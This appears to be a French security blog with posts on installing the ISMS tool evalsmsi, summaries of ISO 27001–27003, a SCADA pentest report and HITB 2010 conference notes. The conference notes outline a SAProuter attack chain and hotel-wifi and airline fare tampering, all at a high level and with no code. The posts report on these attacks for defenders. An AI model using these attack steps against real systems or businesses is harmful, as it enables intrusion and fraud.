MISSION: Security

[SMSI] Evalsmsi install

2011-01-28T13:59:00.001-08:00

Je continue mes péripéties sur l'étude des SMSI mais je fais une pause sur les normes pour vous présenter un outil permettant l'évaluation des SMSI : evalsmsi. Cet outil avait été présenté par Michel Dubois pendant les rump sessions du SSTIC 2009. Une telle solution, libre qui plus est, je n'en connais pas d'autre : il me paraît donc important de s'y intéresser.

En fait, ce poste sert peut-être à rien !

Le but de ce post est d'installer la solution mais la réalité, c'est qu'il existe déjà une image virtuelle toute faite et alors, il n'y a rien à faire si ce n'est de l'importer dans sa virtual box. Sauf que me concernant, j'avais des erreurs avec le fichier *.ova alors je ne me suis pas découragé pour autant et j'ai pris le tar.gz (on est joueur ou on l'est pas ;)).
Pour faire cela, je suis parti d'une nouvelle image Ubuntu 10.10 donc je reprends tout depuis e début. Certaines choses ne vous seront donc certainement pas utiles. En tout cas, même si l'auteur a pensé à faire un README.txt, je pense qu'un tuto pourra faciliter la vie de certains.

Donc ce post va peut-être servir finalement ...

Étape 1 : Installation des packages

La solution repose sur un architecture LAMP. Nous installons les packages en conséquence. Notez que nous devons créer la base de données avant l'installation de phpmyadmin :

jer001@ubuntu:~$ sudo apt-get install apache2
jer001@ubuntu:~$ sudo apt-get install mysq-server
jer001@ubuntu:~$ mysql -u root -p create evalsmsi
jer001@ubuntu:~$ sudo apt-get install phpmyadmin

Étape 2 : Apporter les restrictions principales

Ce serait un outrage de parler de hardening mais un minimum de mesures de sécurité me paraît nécessaire :

On commence par changer l'alias pour atteindre l'interface d'administration de phpmyadmin, histoire qu'elle soit moins visible :

jer001@ubuntu:~$ sudo vi /etc/phpmyadmin/apache.conf (rajouter cette ligne) :

On évite de fournir la version de PHP, question de principe (variable expose_php à Off) :

jer001@ubuntu:~$ sudo vi /etc/php5/apache/php.ini

On passe à la configuration d'Apache pour cacher empêcher l'accès au fichier config.inc.ini de phpmyadmin, cacher les bannières, limiter les accès à l'application par filtrage IP :

jer001@ubuntu:~$ cd /etc/apache2
jer001@ubuntu:~$ sudo vi apache2.conf #rajouter ces lignes ...

jer001@ubuntu:~$ sudo vi conf.d/security #vérifier/changer la valeur de ces variables

jer001@ubuntu:~$ sudo vi sites-available/default #rajouter les lignes
jer001@ubuntu:~$ sudo /etc/init.d/apache2 reload

Étape 3 : Installation et configuration de la solution

# Nous installerons la solution dans un répertoire accessible par le serveur WEB
jer001@ubuntu:~$ cd /var/www
jer001@ubuntu:~$ sudo wget http://downloads.sourceforge.net/project/evalsmsi/evalsmsi_2.3.1.tar.gz
jer001@ubuntu:~$ sudo tar -xzvf evalsmsi_2.3.1.tar.gz
jer001@ubuntu:~$ sudo rm evalsmsi_2.3.1.tar.gz
# On attribue les droits du serveurs WEB au répertoire où est localisée la solution
jer001@ubuntu:~$ sudo chown -R www-data:www-data evalsmsi/
# On récupère le fichier SQL pour configurer la base de données.
jer001@ubuntu:~$ sudo gunzip -d /var/www/evalsmsi/docs/evalsmsi.sql.gz

Pour lancer les requêtes SQL de ce fichier, j'ai fait simple un copier du contenu du fichier et un coller dans phpmyadmin (onglet SQL) et "Go" (cliquer) :

On crée un nouvel utilisateur dans MySQL pour la gestion de la base "evalsmsi". Je le fais via phpmyadmin de nouveau (onglet "Privileges") :

On fournit les données de connexions de la BDD à la solution (renseigner les comptes notamment) :

jer001@ubuntu:~$ sudo vi /var/www/evalsmsi/functions.php

On vérifie que tout fonctionne dans l'interface d'Evalsmsi > Cliquer sur "Accès établissement" ...

... et entrer les crédences d'un admin (ex : compte admin1). Si ça marche, vous verrez cette page :

Success!

Conclusion

Rares sont ceux qui maîtrise la technique et l'organisation de la sécurité. Or, le SMSI est destiné avant tout à cette 2e catégorie de personnes. Alors autant leur permettre d'utiliser une telle solution sans qu'ils soient bloquer par la technique.
Il resterait beaucoup à dire comme la sécurisation de la plateforme et surtout, l'utilisation de la solution. Peut-être l'objet d'un prochain post ?

[SECURITY STANDARD] Episode 3: Are you compliant to ... ISO 27003

2011-01-05T10:45:00.000-08:00

Dans la continuité de la revue des normes internationales sécurité, il est temps dorénavant de mettre en place le SMSI. Et pour cela, il existe depuis moins d'un an la norme ISO 27003, dédiée à l'implémentation d'un SMSI.

Petit résumé avant de commencer ...

Comme la norme ISO 27002 et toutes les normes qui vont suivre, il s'agit d'un guide et non d'exigence. L'idée principale est de mettre en place un SMSI en construisant un projet. Il s'agit en effet de déterminer les tâches à réaliser et de les synchroniser correctement dans le temps et d'impliquer les ressources nécessaires pour chacune d'entre elles.
Nous allons parcourir cette norme à travers ses clauses 5 à 9 qui nous fournissent les lignes directrices pour le démarrer un projet de SMSI en 5 phases donc qui suivent un ordre logique. Cependant, la norme ne fournira pas d'indication pour faire vivre le système de management en question une fois lancé.

Ce que raconte la norme ...

Clause 5 : Obtenir l'accord de la direction pour initier le projet de SMSI

L'objectif de cette clause est double : obtenir l'accord de la direction et rédiger une première version de la planification du projet de SMSI. Plus précisément, cette clause a pour vocation de définir les besoins en termes de sécurité et de business afin de déterminer les objectifs de la direction et le périmètre qui sera impliqué dans le SMSI. Ceci sera réalisé à travers 3 sous-étapes :

Clarifier les priorités qui amènent au déploiement du SMSI ;
Définir le périmètre préliminaire du futur SMSI ;
Réaliser un plan business et le planning du projet pour approbation.

Finalement, nous cherchons ici les axes stratégiques et les raisons d'une telle implémentation à mettre en accord entre les besoins et les exigences. Le fait de définir et de clarifier l'ensemble des composantes du futur SMSI devraient amener à un consensus entre la sécurité et la direction.

Clause 6 : Définir le périmètre du SMSI, ses limites et la politique du SMSI

Pour ceux qui se sont intéresser à la norme ISO 27001, nous retrouvons ici deux documents requis par celle-ci. Rappelons que la certification ISO 27001 est attribuée à un périmètre précis. Il s'agit donc d'une composante importante. Quant à la politique du SMSI, elle représentera le vecteur de développement tout au long du projet. Cinq sous-étapes sont nécessaires cette fois :

Définir le périmètre d'organisation et ses limites en termes (ex : responsables et personnes impliqués dans le projet) ;
Définir le périmètre IT et ses limites (ex : logiciels, serveurs, technologies, ...) ;
Définir le périmètre physique et ses limites (ex : les sites qui feront partie du périmètre) ;
Synthétiser les 3 étapes précédentes pour définir le périmètre global et final avec ses limites (attention : toute exclusion doit être justifiée) ;
Rédiger la politique du SMSI et la faire valider.

Nous savons maintenant sur quoi nous allons travailler. En effet, nous avons correctement cadré le projet de SMSI. Les bases étant posées et approuvées, nous pouvons passer à l'étape suivante.

Clause 7 : Analyser les pré-requis sécurité

Tout simplement, il s'agit ici d'établir un état des lieux du périmètre en termes de sécurité. Les résultats de cette analyse nous permettront de mieux appréhender les actions à mener par la suite. Pour obtenir ces informations, 3 sous-étapes sont proposées :

Définir les pré-requis sécurité pour les process relatif au SMSI (processus critiques ? contraintes légales ? biens prioritaires ? vulnérabilités impliquées ? besoin de sensibilisation et de formation ?) ;
Définir les biens dans le périmètre du SMSI (classification des biens et besoins à partir de l'étape précédente) ;
Évaluer le niveau de sécurité (à l'aide d'un audit de conformité (ex: ISO 27002) et des résultats d'audits précédents).

Une fois l'état des lieux établi, il est possible de connaître le travail restant à réaliser. Avant cela, il nous reste à savoir à quel niveau de risque est exposé la société et quel niveau de risque elle est prêt à accepter pour savoir jusqu'où nous devrons aller.

Clause 8 : Réaliser une analyse de risque et rédiger un plan de traitement du risque

Ces éléments sont exigés par la norme ISO 27001, dans la phase PLAN. Pour mener à bien cette partie du projet, nous pourrons nous appuyer sur la norme ISO 27005 que nous verrons dans l'épisode 5 de notre étude. Voici les principales sous étapes de notre projet pour cette 8e clause :

Réaliser une analyse de risque (Décrire la méthodologie et fournir les résultats) ;
Sélectionner les objectifs de contrôle et les contrôles eux-mêmes (rédaction de la déclaration d'applicabilité et du plan de traitement des risques, cf. Annexe A de la norme ISO 27001) ;
Obtenir l'autorisation de la direction pour l'implémentation et la maintenance du SMSI (doit contenir le niveau d'acceptation pour les risques résiduels).

Clause 9 : Concevoir le SMSI

C'est la dernière étape pour que notre SMSI soit prêt et de pouvoir ainsi rentrer dans la phase DO de notre modèle PDCA. 4 sous-étapes sont à prendre en compte cette fois :

Concevoir l'organisation sécurité finale (rôles et responsabilités impliqués, gestion de la documentation du SMSI, Politique de sécurité) ;
Concevoir les opérations IT et physiques (mise en place et contrôles des mesures de sécurité en définissant chaque tâche et en les assignant à un responsable) ;
Concevoir les tâches spécifiques à un SMSI (gestion du SMSI comme la planification de la revue de direction, la formation et la sensibilisation des utilisateurs, enregistrements en vue du contrôle et de l'amélioration du SMSI) ;
Produire le planning final du projet de SMSI (décrire l'ensemble des tâches et des méthodes associées en attribuant un responsable (1ère sous étape) de chaque tâche identifiées (2e et 3e sous-étapes).

Voilà, nous sommes prêts à rendre le SMSI opérationnel ! Nous savons qui, quoi, comment et quand réaliser les actions nécessaires à la mise en place, le maintien et l'amélioration continue du SMSI.

Pour être plus précis ...

La norme fournit dans ses annexes des informations utiles pour préciser les sujets abordés dans le corps de la norme et surtout aider l'implémenteur. Voici la liste des annexes et le but de chacune :

Annexe A : check-list des tâches à réaliser avec la correspondances ISO 27003 / ISO 27001 ;
Annexe B : les rôles et responsabilités de la sécurité de l'information (pour aider à l'organisation) ;
Annexe C : Informations concernant l'audit interne (rappel : clause 6 de l'ISO 27001) ;
Annexe D : Structure des politiques (hiérarchie des politiques et des procédures et exemple de politique) ;
Annexe E : Surveillance du SMSI (mise en place et exploitation d'indicateurs, cf. ISO 27004).

[SECURITY STANDARD] Episode 2: are you compliant to ... ISO 27002

2010-12-30T02:44:00.000-08:00

Après avoir vu la norme ISO 27001, je vous propose un aperçu de la norme ISO 27002. Elles sont toutes les deux liées, même si, cette dernière n'est pas obligatoire. Cependant, elle représente une aide précieuse à l'implémentation d'un SMSI.

Ce qu'est la norme ISO 27002 ...

Il s'agit d'un code de bonnes pratiques contenant les mesures de sécurité qui peuvent aider à respecter les exigences de la norme ISO 27001. Les chapitres les plus importants sont les chapitres 5 à 15. Chacun aborde un thème de la sécurité de l'information qui sont présentés dans le schéma ci-dessous. En réalité, ils sont généralement liés entre eux et il est souvent difficile de les traiter sans s'appuyer sur d'autres mais l'ensemble de la norme présente ainsi des sujets complémentaires entre eux et complets dans sa globalité.

Liens entre les normes ISO 27001 et ISO 27002

Tout d'abord, il faut savoir que les thèmes de la norme ISO 27002 sont déjà repris dans l'annexe A de la première norme que nous avons étudiée. Cette annexe représente donc le lien entre les deux normes.

Ensuite, certaines clauses de la normes ISO 27001 correspondent aux thèmes de la norme ISO 27002. Pour être plus précis, prenons l'exemple suivant : la norme ISO 27001 demande d' "identifier rapidement les failles et les incidents de sécurité" (clause 4.2.3.a).2)). L'implémenteur du SMSI pourra s'appuyer sur le thème n°13 de la norme ISO 27002 (ou le point A.13 de l'ISO 27001) qui traite justement de la gestion de la sécurité.

En fait, cela va plus loin que ça. Rappelons que la norme ISO 27001 demande à ce que l'on crée une déclaration d'applicabilité (Dda ou SoA en anglais). Dans cette déclaration, l'implémenteur doit reprendre l'ensemble de l'annexe A et donc finalement l'ensemble des thèmes de la normes ISO 27002. Là, il doit dire quelles sont les mesures de sécurité qu'il souhaite mettre en place ou pas. Pour celles qu'il décide de ne pas considérer, il devra justifier une telle exclusion. La norme ISO 27002 apparaît alors comme quasiment indispensable pour aider l'implémenteur.

Exemple

Pour bien comprendre, voici un extrait de l'annexe A de la norme ISO 27001 :

On y trouve le thème, un objectif et les mesures associées. Dans la norme ISO 27002, nous retrouvons le même thème mais avec des précisions, ou plutôt des préconisation de mise en œuvre, pour appliquer les mesures de sécurité. De nouveau, en voici un extrait :

5.1.1 Document de politique de sécurité de l'information

Mesure : Il convient ... soit approuvé par la direction, puis publié et diffusé ...

Préconisations de mise en œuvre : il convient ...
a) une définition de la sécurité de l'information, les objectifs généraux recherchés et le domaine d'application retenu, ainsi que l'importance de la sécurité en tant que mécanisme nécessaire au partage de l'information ... ;
b) ...

Conclusion

Pour résumer, la norme ISO 27002 est d'une grande aide pour l'implémentation des mesures de sécurité - même si elle n'a aucun caractère obligatoire - à travers certaines clauses de la norme ISO 27001 et pour la déclaration d'applicabilité. Cependant, elle ne couvre pas tout, loin de là. Par exemple, l'implémentation globale du SMSI sera couverte par la norme ISO 27003 que nous verrons dans le prochain billet.

[SECURITY STANDARD] Episode 1: are you compliant to ... ISO 27001?

2010-12-28T01:37:00.001-08:00

Des normes internationales ont été rédigées concernant la sécurité des systèmes d'information. Elles sont de plus en plus utilisées et elles servent notamment de référentiel pour les entreprises. Leur étude nous apporte un nouveau point de vue sur la SSI qu'il est important de connaître. Il n'est pas toujours facile de prendre le temps de les lire et les étudier alors je vous propose un aperçu de chacune d'entre elles.

Ce qu'on va voir ...

La norme centrale est la norme ISO 27001. C'est elle qui peut donner lieu à une certification et c'est d'ailleurs l'objet de notre premier épisode. Cependant, nous allons vite nous apercevoir qu'elle est liée à d'autres normes de la SSI que le schéma ci-dessous représente. D'où la nécessité des autres épisodes.

Ce qu'est la norme 27001 ...

Tout d'abord, il s'agit d'une norme d'exigences. C'est à dire que pour obtenir la certification en question, il est nécessaire que l'entreprise réponde à ces exigences. Plus précisément, la norme est découpée en 8 chapitres ou "clauses". Seules les clauses 4 à 8 sont vraiment importantes et sont à tenir compte pour la mise en place d'un SMSI (ou Système de Management de la Sécurité de l'Information) et obtenir la certification. Nous reviendrons sur ces clauses juste après.

Avant, il nous faut tenir compte d'une notion essentielle pour le SMSI : la modèle PDCA (Plan / Do / Check / Act). Réussir l'implémentation de son SMSI revient à respecter ce modèle. scrupuleusement Il ne s'agira donc pas uniquement de mettre en place une gestion d'incidents par exemple mais aussi de documenter le sujet, écrire les procédure associées, en contrôler les résultats et l'efficacité et corriger les défauts relevés.

Le modèle PDCA ...

Il est donc important de se focaliser sur ce modèle considéré comme une roue vertueuse, utilisée en mode fractale, c'est à dire pour chaque action. La norme ne demande pas finalement d'avoir un niveau de sécurité élevé mais de faire fonctionner un SMSI en respectant les 4 phases du PDCA tel que :

Plan : définition de la politique du SMSI et du périmètre de celui-ci, appréciation du risque, traitement du risque, mesures de sécurité sélectionné (déclaration d'applicabilité ou dda).
Do : plan de traitement des risques, déployer des mesures de sécurité, gérer le SMSI au quotidien, détection rapide aux incidents.
Check : audits internes, contrôles internes, revues.
Act : actions correctives, actions préventives, actions d'amélioration.

Les clauses de la norme ...

Nous présentons ici les 5 clauses qu'il est important de connaître. Vous remarquerez certainement un parallélisme avec le modèle présenté ci-dessus. Ce n'est pas un hasard.

Clause 4 : SMSI. Cette clause fournit des indications importantes pour la mise en place du SMSI. Notamment, les exigences regroupées dans les articles 4.21, 4.2.2, 4.2.3 et 4.2.4 correspondent respectivement au Plan, Do, Check et Act. Malgré l'importance de cette clause, elle ne fait que 5 pages, nous devrons donc nous appuyer sur d'autres normes pour nous aider à obtenir un SMSI conforme à la norme (cf. premier schéma).
Clause 5 : cette clause souligne la nécessite de l'implication de la direction dans le projet de déploiement du SMSI. En effet, il n'est pas envisageable qu'un SMSI puisse fonctionner correctement sans l'approbation et l'appui de la direction.
Clause 6 : elle est relative aux audits internes. Il est demandé à ce que le SMSI soit contrôlé de manière régulière (check) selon un programme d'audit précis.
Clause 7 : elle concerne la revue de direction du SMSI. A travers des comité de direction et de pilotage de la sécurité, le SMSI devra être revu régulièrement, notamment en s'appuyant sur les résultats des audits internes (clause précédente) mais pas seulement. Par exemple, les différents enregistrements et les indicateurs mis en place pourront servir aux décisions de la direction.
Clause 8 : Cette clause aborde l'amélioration du SMSI (Act). Il s'agit de mettre en place les actions correctives et préventives relevées lors des actions de contrôles et approuvées afin d'améliorer le SMSI.

Pour aller plus loin ...

En premier lieu, je vous proposerai dès que possible un aperçu des autres normes dans ce blog. Ensuite, la meilleure façon d'appréhender un SMSI est de se documenter ou de suivre une formation sur le sujet. En termes de littératures, LA référence est le livre d'Alexandre Fernandez-Toro que je trouve très bien fait et que je recommande sans modération à qui veut en savoir plus.

[SCADA] SCADA Security ... or not

2010-10-24T12:50:00.000-07:00

J'ai eu l'occasion dernièrement de travailler sur des environnements SCADA : ça change ! Mais en quoi ? Comment aborder ces bêtes là ? Quelles sont les failles les plus récurrentes ? Et déjà, est-ce que c'est sécurisé ? Petit point sur mes premiers retours d'expérience.

Ce qu'on en dit sur le Net

On trouve des articles sur le Net depuis quelques années maintenant mais plutôt sur des sites et blogs outre atlantiques et peu en France. Pourtant, il existe des acteurs majeurs dans notre pays.

Ayant eu l'occasion de travailler sur le sujet, on se rend compte que le pentest d'un SCADA ne s'aborde pas de la même manière qu'une application WEB classique par exemple. Pourquoi ? Parce que dans le cas d'un SCADA, c'est la disponibilité qui est requis en premier lieu et non la confidentialité de nos chères applications bancaires ou commerciales.

Une fois que nous avons compris cela, nous comprenons mieux les failles trouvées car on souhaite avant tout que ça fonctionne et que ce soit performant d'où l'attaquant a toutes les chances de se retrouver face à :

des systèmes non patchés depuis des mois (... des années) ;
des accès sans mot de passe ;
des fichiers texte ou autre contenant les identifiants ;
des communications non chiffrées ;
etc.

Bref, il semblerait que le pentest d'un SCADA consiste tout simplement à sortir sa panoplie du hacker de base, c'est à dire :

MBSA ou autre scanner ;
nmap ;
wireshark ;
le moteur de recherche du système d'exploitation ;
et arme ultime, la touche entrée une fois sur le champ "password" ;
etc.

Et ce qui se passe dans la vraie vie

Bon, soyons honnête, je n'ai pas eu l'opportunité de faire 50.000 tests sur les environnements SCADA mais voilà ce que je peux dire de ce que j'ai pu voir. Avant, pour cadrer le sujet, il faut savoir que les applications étaient installées sur des serveurs Windows et qu'il faut donc ajouter à sa méthodologie celle d'un test d'une application lourde. Alors quand les attaques précédemment citées ne fonctionnent pas, nous ajoutons à notre panoplie des décompileurs et des debuggers (je m'arrêterais là, je ne suis pas un "pure reverser" ;)).

Le premier pentest s'est passé comme on le racontait sur Internet : c'est à dire qu'il n'y avait pas de sécu. Enfin, j'exagère, il y avait un mot de passe. Mais il était teeeeeeeeeeeeellement compliqué, que j'ai eu besoin d'aide ...

... Alors j'ai regardé l'aide où il était écrit :

The default user name is "guest". The default password is "0".

Alors si maintenant on nous donne la solution, qu'allons nous devenir ;)

Bon, ça c'est fait. En même temps, vous allez me dire, ça ne concernait que le mot de passe d'un compte "invité" donc c'est pas très grave ... sauf que ! En fait, on avait octroyé les privilèges les plus forts à ce compte ...

Autre point rencontré, un serveur où il manquait une soixantaine de patches Windows ... Quand on parle de virus et de vers, je confirme donc que les SCADAs sont eux aussi concernés ! Et les dégâts, prometteurs :/

Ce n'est cependant pas toujours si simple et j'ai effectivement rencontré un cas où les mots de passe étaient forts, les flux chiffrés et les mots de passe étaient sécurisés de manière sécurisée. Donc, la sécurité sur un SCADA, c'est envisageable ! Sauf que ... un décompileur (spécifique) était présent sur le serveur et il était donc possible de se créer un compte et de se donner les privilèges les plus élevés au passage ... BINGO !

Des outils de tous les jours, pour des tests SCADAS

Ce n'est pas forcément connu mais des outils que nous utilisons tous les jours prennent en compte les SCADAS. Et je ne peux que citer le célèbre NESSUS qui propose une famille de plugins nommé SCADA avec à ce jour 42 plugins sur le sujet.

Metasploit propose lui aussi un exploit tout fait pour certains SCADAs.

Bref, les moyens existent pour contrôler la sécurité (et inversement pour la contourner) d'un SCADA mais déjà que nous devons nous battre parfois pour expliquer les bienfaits de la sécurité, ici, on craint que le test en soit provoque déjà une perturbation et nous devons reconnaître que l'impact financier est ici direct. Mais que ce passera-t-il le jour où un réseau SCADA sera infecté ? Qu'un réseau SCADA sera pris pour cible (et même pas forcément par un attaquant aguerri !).

Alors que nous parlons de guerre numérique et que les énergies (que contrôlent les SCADAs) représentent le point névralgique des guerres, le risque est bien réel et important. On voit déjà ce que peut provoquer une pénurie d'énergie tel que le pétrole pendant quelques jours ;)

[HITB COnference] Day 2

2010-07-02T12:11:00.000-07:00

La première journée était riche en vulnérabilités et exploitations. Après avoir visité un peu Amsterdam (non non, je ne faisais pas partie du groupe parti pour la zone rouge) avec notamment la visite de la maison d'Anne Frank (tout de suite, c'est moins sexy ;). Je n'ai pas assisté au deuxième keynote mais voici la suite des conférences que j'ai suivi.

Conf 1 - SAProuter, An Internet Window to your SAP platform - Mariano Numez di Croce

Fidèle à mon aventure sur SAP, voici la dernière conférence sur le sujet. Cette conférence se concentre sur le composant SAP Router et était très pratique puisqu'après une présentation de SAP, une démonstration de l'attaque par étape nous a été présentée. Pour ceux qui ne connaitrait pas bien SAP, je vous renvoie vers le résumé de la formation qui a eu lieu les deux premiers jours du HITB (résumé 1 et résumé 2).

Il faut rappeler avant tout que le SAP Router a pour rôle de filtrer les requêtes (couches 3 et 4), de tracer les connexions, d'appliquer une sécurité sur les flux (avec une clé partagée) et de sécuriser les flux (avec SNC).

Pour le filtrage des requêtes, une table permet de définir les flux autorisés, interdits et limités (ie, seuls les flux ayant pour protocole SAP sont autorisés). Première faille potentielle : les administrateurs, dans la vraie-vie, finissent souvent leur configuration par un "j'autorise tout". En effet, sur la base d'une liste blanche, les administrateurs n'ont pas toujours le courage d'entrer tous les accès et sachant qu'il faut que ça marche à tout prix ...

La démonstration a été réalisée à l'aide de l'outil BIZPLOIT (dont le speaker est le principal développeur). L'attaque se déroule en plusieurs étapes :

phase de découverte : on recherche le port utilisé par le SAP Router. Par défaut, le port TCP/3299 mais nous vérifions à l'aide du module "discover" ;
phase de découverte interne : le plugins saprouter spy nous permet de connaître les ports ouverts sur la machine comme si nous y étions ! Intéressant ;
l'attaque consiste a utilisé le SAP Router en tant que proxy. Nous trouverons cette fois des infos sur la solution SAP (ex : version) ;
Puis, on utilise le plugin de bruteforce pour trouver des comptes valides (e.g. mots de passe par défaut ou triviaux) ;
On utilisera l'exploit saprouterAgent pour obtenir une connexion sur le SAP Router ;
Enfin, c'est grâce à l'outil tsocks que notre trafic sera redirigé vers le proxy mis en place et que nous pourrons attaquer le système SAP comme de l'intérieur.

Une démonstration convaincante qui montrer les risques d'une mauvaise sécurisation de sa plateforme SAP. Les solutions de correction existent cependant :

l'application des patches (pas toujours évidente malheureusement) ;
l'application de la sécurité sur les connexions (nombre de connexion maximum, chiffrement, etc.) ;
la politique de mot de passe pour les clients ;
la généralisation des messages erreurs pour éviter l'affichage d'information technique.

Conf 2 - Firefox 4 and Opportunities for security research - Chris HOFMANN

Je ne m'étendrais pas sur cette conf qui n'avait pas tout l'intérêt attendu. L'idée est de lancer un "Bug Bounty Program". plus précisément, il s'agit de récompenser les personnes qui découvrent des bugs sur la prochaine version de Firefox (Firefox 4 donc). Cela existe déjà en réalité mais l'accent est mis sur le sujet pour motiver les chercheurs potentiels en leur octroyant une prime plus importante (3.000$). Cependant, le bug doit remplir plusieurs conditions comme conduire à un exploit distant. Problème : les marchés noirs offriront toujours plus. Néanmoins, souhaiteriez vous fournir des armes à des black hats, même pour de l'argent ?

Finalement, Mozilla estime que s'il ne paye pas pour la recherche des bugs maintenant, ils paieront plus cher d'une manière ou une autre la découverte des bugs. Ceci est vrai pour tout logiciel mais rarement considéré ... Dans le même temps, Mozilla a pour objectif d'assurer la sécurité de ses utilisateurs. De plus, la fondation en question veut se donner les moyens de faire face aux bugs :

en assumant les bugs potentiels ;
en motivant les chercheurs à trouver ces bugs ;
en les corrigeant rapidement.

Il s'agit d'un réel défi car Firefox 4 bénéficiera de nouvelles fonctionnalité (tels qu'un parser HTML 5) qui pourront aussi représenter de nouveaux vecteurs d'attaque ...

Conf 3 - XProbe-NG, Building Efficient Network Discovery Tools - Fyodor YAROCHKIN

Il existe déjà beaucoup d'outil de découverte. Alors pourquoi un nouveau ? Celui proposé par Fyodor, déjà existant (Xprobe), est de tenir compte de la vraie-vie, des attaques qui ont lieu sur le Net. Ce tool de fingerpringting a aussi pour but d'étendre son action à la couche applicative pour combiner la collecte d'information aux couches réseaux et applicatives. Enfin, cette nouvelle version a pour vocation d'enrichir la version précédente à l'aide de scripts et de données échangées.

Plusieurs défis sont alors engagés pour réussir ce pari. Notamment, il faut :

limiter le temps de traitement des couches réseaux, la couche applicative étant gourmande en interprétation ;
être suffisamment rapide pour analyser les flux en temps réel (ou presque), ce qui pourra se faire avec un nouveau moteur.

L'outil, écrit en Python, utilise le principe de scoring et de prioroté pour traiter les informations les plus importantes en premier lieu. Ensuite, une autre solution consiste à ne lancer les modules d'analyse que quand ils sont nécessaires.

Au final, XProbe-NG va réaliser différents tests applicatifs comme analyser les séparateurs de répertoire, les fichiers spéciaux dans les répertoires, la sensibilité de la casse, etc ... pour différencier un Linux d'un Windows.

D'autres améliorations sont prévues pour permettre à cet outil de se démarquer. Une première version sera disponible la semaine prochaine à cette adresse.

Conf 4 - Top 10 Web 2.0 Attacks and exploits - Shreeraj SHAH

Lors de cette conférence, le speaker a pris en compte le Top 10 des vulnérabilités liées au WEB 2.0 en se basant sur l'OWASP. Voici le classement :

1) DOM Based XSS (Ajax) ;
2) SQL Injections (SOAP / XML) ;
3) Blind SQL over JSON/AMF ;
4) XPATH Injection ;
5) Business logic bypass ;
6) Decompilation Attack (ex : SWF) ;
7) WSDL ;
8) XSS with Flash ;
9) CSRF with XML ;
10) Widget / Marshup.

Une description et une démonstration a été réalisée pour chacune de ces attaques. Tout expliquer demanderait donc un billet à lui tout seul (au moins) mais cette présentation intéressante appelle notamment à la veille que nous devons réaliser en tant que pentesters sur ces nouvelles attaques. En effet, de nombreux sites sont touchées par ce type de vulnérabilités encore mal connues des développeurs.

Conf 5 - The travelling Hacksmith 2009/2010 - Saumil SHAH

Une présentation particulière qui ne manquait pas d'intérêt et qui en a fait rire plus d'un : il ne devait pas y avoir d'opérateur wifi ni d'agent d'opérateur de voyage dans la salle ...
Je m'explique ! Le speaker nous raconte qu'il voyage beaucoup et que tout se paye et souvent cher comme les connexions WiFi dans les chambres d'hôtel.

A travers les différents voyages et hôtels visités, Saumil nous montre comment il a réussit à obtenir un accès Internet gratuit ou moins cher. De la modification du numéro de chambre dans la requête au contrôle de la passerelle en passant par les injections SQL, aucun accès ne lui a résisté ;)

Ensuite, il s'attaque aux billets d'avion dans le but d'être surclassé. Il réussit à plusieurs reprise en modifiant son numéro de place dans le choix des places au check-in sur Internet.

Enfin, sur un site de réservation d'hôtel que je ne dois pas citer et que je ne ferais donc pas, il est possible de réserver et d'annuler sans payer de frais : sauf que l'annulation se fait sur le jour précédent de l'arrivée ! A voir si ça marche toujours ?

Et c'est la fin de cette conférence ! Ces 4 jours auront passé bien vite mais il est temps de sortir de Hackerland et de retrouver son chez-soi : enfin, si le Thalys arrive, déjà 30 minutes de retard ...

[HITB Conference] Day 1

2010-07-02T00:01:00.000-07:00

Un petit retour sur cette première journée de conférence au HITB d'Amsterdam où l'ambiance est très bonne, l'hôtel cool (sauf pour y dormir apparemment ?) et les HITB girls sont ... sociables ! D'ailleurs, à quand les SSTIC girls ?

Keynotes - Dr Anton CHUVAKIN - Security Chasm

Cette conférence me rappelle un talk donné par Nicolas RUFF l'année dernière au SSTIC. En effet, une idée dans tout ça est de montrer l'échec de la sécurité depuis les années 90.

Tout d'abord, on a traversé plusieurs période de la sécurité en déplaçant le problème finalement à chaque fois. Tout d'abord, la sécurité était portée sur les ordinateurs, puis sur les réseaux, puis sur la prévention, puis sur la conformité et les normes, etc ...
En parallèle, nous avons voulu couvrir les risques locaux dans un premier temps puis les menaces extérieures (avec le pare-feu à tout va) puis la détection des attaques (mode des IDS/IPS) puis, plus récemment, le cybercrime et pour en arriver maintenant à la période des clouds.

Le problème, selon le conférencier, le manque de cohérence dans tout ça. Il y a d'une part ceux qui conseille de faire de la sécu et fournissent les recommandations alors qu'ils ne touchent pas au matériel (l'auditeur ne maitrise n'a jamais administré d'IPS qu'il va conseiller de configurer de telle ou telle manière par exemple pour mieux protéger le réseau) et d'autre part, nous avons les personnes qui appliquent la sécurité parce qu'il le faut bien ou parce qu'on leur demande, pas par conscience des risques.

Alors pour résoudre cela, plusieurs lignes de conduite nous sont fournis. A titre d'exemple, les normes peuvent être bénéfiques mais seulement pour mettre encadrer la mise en place de la sécurité dans un SI, pas pour avoir l'étiquette "compliant" notamment.

En fait, selon l'orateur, si une entreprise n'est pas en mesure d'assurer sa sécurité en 2020, elle mourra car un attaquant aura d'ici là toutes les armes lui permettant de mettre fin au business d'une entreprise.

Conf 1 - John 'Kanen' Flowers - Introducing Kane |Box

L'orateur part du principe que la sécurité ne fonctionne pas pour diverses raisons : elle coûte chère, les outils sont souvent contournés et cassés et les façons de penser et de "faire de la sécurité" n'ont pas évoluées depuis des années. A l'inverse, les outils de hacking sont souvent libres et les compétences des attaquants ne cessent d'évoluer.

Et c'est là que l'orateur à la bonne idée : proposer une solution de sécurité qui n'est pas seulement un nouveau logiciel mais un boitier "clé en main". Pour avoir travailler dans la sécurité, vous allez me dire que ça existe déjà : de nombreux éditeurs en proposent ... oui mais à quel prix ? A 475$ vous en connaissez combien ? En effet, c'est le prix de base d'un boitier Kane|Box. Et même, pour ceux qui ont l'âme d'un bricoleur, le code est libre et il ne vous reste plus qu'à monter le boitier.

L'auteur n'était donc pas là pour vendre sa marchandise mais pour fournir une solution complète et tout à fait abordable ; ce qui résout les problèmes actuelles pour implémenter la sécurité.

Et que permet de faire cette solution ? C'est une virtual box rassemble les caractéristiques suivantes :

un module d'exploitation (sniffer + analyseur de paquets + crackers de mots de passe + scripts d'exploitation) ;
un module de détection (pour la détection d'attaque réseau) ;
un pare-feu (permettant d'inspecter les paquets et de les bloquer) ;
un routeur (pouvant bénéficier de règles de filtrage) ;
un mode host-based (pour collaborer avec les anti-virus et les pare-feu des machines).

L'idée est bonne et il serait intéressant de voir ce que cela pourrait donner en pratique.
En attendant, je vous invite à voir la page du produit pour plus d'info.

Conf 2 - Alexander POLYAKOV - Attacking SAP Users with SAPSPLOIT

